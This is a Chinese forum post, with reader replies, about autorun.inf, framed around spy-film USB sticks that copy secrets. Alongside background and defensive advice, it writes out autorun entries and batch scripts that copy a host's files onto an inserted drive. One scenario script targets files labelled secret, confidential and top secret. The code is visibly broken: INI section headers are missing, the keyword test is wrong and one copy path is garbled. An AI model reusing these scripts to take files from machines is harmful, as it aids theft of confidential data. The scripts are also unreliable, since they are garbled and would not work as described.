聊聊autorun,影视中那些考取机密的U盘
本帖最后由 moogong 于 2024-6-10 19:48 编辑#1_前言
通常我们在影视剧,或者一些谍战特工片中经常会看到主角团因为需要拷贝秘密资料深入敌后,然后插上一个U盘,等待U盘自己拷贝资料,读取进度条(大部分进度条是艺术加工以影视形式呈现)
#2_什么是autorun.inf
<--很多人经常看见插入U盘后,在当前磁盘会有一个隐藏的autorun.inf文件,由于经常被利用为U盘病毒自启,久而久之导致很朋友认为这是病毒文件,其实autorun的初衷并不是一个病毒文件-->
ps:
autorun.inf 文件最初并不是设计来作为病毒或恶意软件的一部分。这个文件原本的目的是提供一个方便的机制,让U盘或其他可移动介质在插入到计算机时能够自动执行一些操作,比如打开特定的文件夹或运行一个程序。autorun.inf 文件是一个配置文件,它告诉操作系统在插入U盘时应该执行哪些操作。例如,它可以设置为自动打开U盘的根目录,或者运行U盘中的某个程序。这种特性在某些情况下非常有用,比如在公共计算机上自动播放演示文稿或在公司环境中分发软件更新。然而,随着时间的推移,一些恶意软件的作者开始滥用autorun.inf 文件来传播病毒。他们会在U盘中放置这个文件,并设置它来运行恶意程序,当U盘被插入到计算机时,这些程序就会自动执行,从而感染计算机。为了防止这种情况,现代操作系统和安全软件通常会警告用户autorun.inf 文件的存在,并阻止其自动执行。此外,许多用户和组织也会禁用或限制autorun功能,以提高安全性。
1.简介
autorun.inf 文件是一个特性,它允许可移动介质(如 CD、DVD 或 USB 闪存驱动器)在插入计算机时自动执行某些操作。这个特性最初设计是为了提供方便,例如自动播放音乐 CD 或自动启动安装程序。
2.工作原理
autorun 功能通常通过一个名为 autorun.inf 的配置文件来实现。这个文件包含了操作系统需要执行的指令。当可移动介质被插入时,操作系统会检查这个文件,并根据文件中的指令执行相应的操作。autorun.inf 文件:这个文件是一个简单的文本文件,遵循 INI 文件格式,包含若干个节(sections),每个节可以包含不同的指令。例如: 定义了插入介质时执行的默认操作。 可以设置显示在“我的电脑”中的驱动器图标。一个典型的 autorun.inf 文件可能看起来像这样:
open=setup.exe
icon=myicon.ico
label=My USB Drive
shell\command=setup.exe
shell\infoldercommand=setup.exe
3.安全问题
autorun 功能曾被广泛用于传播恶意软件,因为攻击者可以在可移动介质上放置一个恶意的 autorun.inf 文件,当介质被插入到未打补丁或配置不当的计算机上时,恶意软件可以自动执行。这导致了 autorun 在许多现代操作系统中被默认禁用或受到限制。
防御措施:
[*]禁用 autorun:许多操作系统和安全软件允许用户禁用 autorun 功能。
[*]更新操作系统:确保操作系统是最新的,以利用安全补丁。
[*]使用安全软件:安装和更新防病毒软件,以检测和阻止恶意软件。
使用场景:尽管存在安全风险,autorun 仍然可以在一些场景下提供便利,例如:
[*]自动播放演示文稿或视频。
[*]启动自定义安装程序或设置脚本。
[*]显示自定义图标或卷标。
#3_windows系统靠什么来自动读取它.
在 Windows 系统中,autorun 功能的实现依赖于几个关键组件:
[*]Shell Hardware Detection (SHD) 服务:这是 Windows 中的一个服务,负责检测硬件更改,比如插入 U 盘或 CD/DVD。当检测到新的硬件时,SHD 服务会触发相应的事件。
[*]Autorun.inf 文件:这是一个位于可移动介质根目录的配置文件,包含了告诉系统在插入介质时执行什么操作的指令。
[*]Windows 脚本宿主 (WSH):对于 autorun.inf 文件中定义的某些操作,如打开文件夹或运行脚本,WSH 可以用来执行这些脚本。
[*]注册表设置:Windows 系统中的注册表包含了控制 autorun 行为的设置。管理员可以通过修改注册表来启用或禁用 autorun 功能。
[*]策略设置:在企业环境中,管理员可以通过组策略设置来控制 autorun 功能的行为,比如禁用自动播放或设置特定的自动播放行为。
[*]安全软件:许多安全软件和防病毒程序提供了额外的控制,允许用户或管理员配置 autorun 功能的行为,以防止潜在的恶意软件威胁。
[*]用户权限:用户执行 autorun 操作的权限也会影响 autorun 功能是否能够成功执行。例如,如果用户没有足够的权限来运行 autorun.inf 文件中指定的程序,那么该操作可能不会执行。
#4_实现插入U盘拷贝数据.
我们在了解这些之后,就知道autorun的工作原理和实际用法,那么在autorun里面写入什么才能让他在插入时形成文件拷贝?
1.直接写入文件内
假如,我想要插入U盘后。让Autorun自动复制D盘下面所有后缀为jpg的图片文件到U盘里面,该怎么写入呢?
open=copy.bat
icon=myicon.ico
action=复制图片文件
shell\copy\command=cmd /c copy.bat
shell\copy\default=1
shell\copy\icon=myicon.ico
action=复制所有JPG文件到U盘
shell\=copyfiles.bat
shell\command=copyfiles.bat
shell\icon=myicon.ico
action=开始复制
command=for /r D:\ %i in (*.jpg) do copy "%i" "%~d0%~p0"
这个autorun.inf文件包含以下部分:
[*]:定义了当U盘插入时应该执行的默认操作。
[*]:定义了一个上下文菜单项,允许用户选择复制操作。
[*]:定义了实际执行复制操作的批处理命令。
copyfiles.bat中的命令for /r D:\ %i in (*.jpg) do copy "%i" "%~d0%~p0"将会递归地搜索D盘下的所有.jpg文件,并将它们复制到U盘的根目录。
需要注意的是:
autorun.inf 文件中的 部分并不是直接的 DOS 命令,而是 Windows 脚本宿主(Windows Script Host, WSH)的一部分,它允许你定义自定义的上下文菜单项。这些菜单项可以在文件资源管理器的右键菜单中显示,并且可以链接到特定的脚本或程序。在你提供的 autorun.inf 文件示例中, 部分定义了一个名为 copy 的上下文菜单项,它与一个批处理脚本 copyfiles.bat 相关联。下面是对各个部分的解释:
[*] 部分:
[*]open=copy.bat:指定当U盘插入时,将执行 copy.bat 脚本。
[*]icon=myicon.ico:指定U盘的图标文件。
[*] 部分:
[*]action=复制图片文件:定义上下文菜单项的名称。
[*]shell\copy\command=cmd /c copy.bat:定义当选择 copy 菜单项时,将执行 cmd /c copy.bat 命令。cmd /c 表示在命令提示符下执行 copy.bat 脚本,并且执行完毕后关闭命令提示符窗口。
[*]shell\copy\default=1:将 copy 菜单项设置为默认选项。
[*]shell\copy\icon=myicon.ico:为 copy 菜单项指定图标。
[*] 部分:
[*]action=开始复制:定义 copyfiles.bat 脚本的名称。
[*]shell\=copyfiles.bat:定义当选择 copyfiles.bat 时,将执行 copyfiles.bat 脚本。
[*]shell\command=copyfiles.bat:再次指定执行脚本的命令。
[*]shell\icon=myicon.ico:为 copyfiles.bat 脚本指定图标。
[*] 脚本:
[*]command=for /r D:\ %i in (*.jpg) do copy "%i" "%~d0%~p0":这是一个批处理命令,用于递归搜索D盘上的所有 .jpg 文件,并将它们复制到U盘的当前目录下。%~d0%~p0 表示U盘的根目录
2.直接在文件内写入(运行编译好的文件)
直接运行已经编译好的exe或者bat文件按照程序内要求拷贝不限于视频 图片 文档 或者说压缩包(或者是创建一个txt文件将需要的名称枚举进去)
这个时候需要编写一个脚本,这个脚本会读取文本文件中的文件名列表,然后在系统上搜索这些文件,并将它们复制到U盘。由于这个任务涉及到搜索和复制文件,这通常需要一个批处理脚本或PowerShell脚本来完成。下面是一个使用批处理脚本的基本示例,该脚本会读取一个文本文件中的文件名,并尝试将它们复制到U盘。首先,你需要一个文本文件(例如 filelist.txt),其中包含你想要复制的文件的名称,每行一个名称。然后,你可以创建一个批处理脚本(例如 copyfiles.bat)
@echo off
setlocal enabledelayedexpansion
:: 设置U盘的盘符,这里假设U盘是E盘,根据实际情况修改
set USB_DRIVE=E:
:: 读取文件名列表
for /f "tokens=*" %%a in (filelist.txt) do (
echo 正在搜索文件: %%a
:: 搜索文件并复制到U盘
for /r %%i in (%%a) do (
echo 找到文件: %%i
copy "%%i" "%USB_DRIVE%\"
)
)
释义:
[*]使用 for /f 循环读取 filelist.txt 中的每一行,每一行是一个文件名。
[*]对于每个文件名,使用另一个 for /r 循环在系统上搜索这个文件。
[*]如果找到文件,使用 copy 命令将其复制到U盘的根目录。
请注意以下几点:
[*]你需要根据实际情况替换 USB_DRIVE 变量的值,以指向你的U盘盘符。
[*]这个脚本假设 filelist.txt 和 copyfiles.bat 在同一目录下。
[*]批处理脚本的搜索功能可能不会递归地搜索所有子目录,如果你需要递归搜索,可能需要使用更复杂的脚本或PowerShell。
[*]这个脚本没有错误处理,如果文件不存在或无法复制,它将不会给出错误消息
#5_情景模拟.
假如,主角团通过前期对服务器的环境,配置进行踩点后,了解到该服务器的位置,系统版本以及一些文件存放的绝对位置或者磁盘,通过“秘密”,“机密”,“绝密”三种密级索引来拷贝文件@echo off
setlocal enabledelayedexpansion
:: 设置U盘的盘符,根据实际情况修改
set USB_DRIVE=E:
:: 定义搜索的关键词
set KEYWORDS=秘密 机密 绝密
:: 定义要搜索的文件扩展名
set EXTENSIONS=rar jpg mov mp4 png bmp avi zip
:: 搜索并复制文件
for %%k in (%KEYWORDS%) do (
echo 正在搜索包含关键词 "%%k" 的文件...
for %%x in (%EXTENSIONS%) do (
for /r %%f in (*.%%x) do (
if /i "!f:~-4!"=="%%k" (
echo 找到文件: %%f
copy "%%f" "%USB_DRIVE:\=&" >nul
)
)
)
)
echo 复制完成。
pause
#6_总结.1. **autorun.inf 文件**:这是一个配置文件,位于可移动介质(如 U 盘、CD/DVD 等)的根目录,用于指定当介质插入计算机时自动执行的命令或程序。
2. **autorun 的历史**:`autorun` 功能最初设计是为了方便用户自动播放媒体文件或自动运行安装程序。然而,它也被恶意软件利用来传播病毒,因此现在许多操作系统默认禁用或限制了这一功能。
3. **autorun 安全问题**:由于 `autorun` 可以自动执行任意代码,它曾被用于传播各种病毒和恶意软件,如著名的 Conficker 蠕虫。
4. **操作系统限制**:从 Windows Vista 开始,微软引入了措施限制 `autorun` 功能,要求用户明确选择是否执行 `autorun.inf` 中指定的操作。
5. **禁用 autorun**:用户可以通过操作系统的组策略编辑器或注册表来禁用 `autorun` 功能,以提高系统安全性。
6. **autorun 替代方案**:由于 `autorun` 的安全风险,推荐使用其他方法来自动化任务,例如使用计划任务、脚本或第三方软件。
每次看的都热血沸腾的 感谢楼主分享,在硬件上基于autorun其实可以实现一些真正的实战操作,Github有这个项目叫USBAriborne 楼主,最后一段加上md的bbcode标签哦 好厉害!先收藏了 先收藏后面慢慢看 {:1_921:}厉害厉害!学习了! 强无敌,收藏先,可惜评分已经送过了,明天补上 很早的a盘就有autorun 这个现在算不算过时了,安全软件基本都禁用了这个选项 学习了,谢谢楼主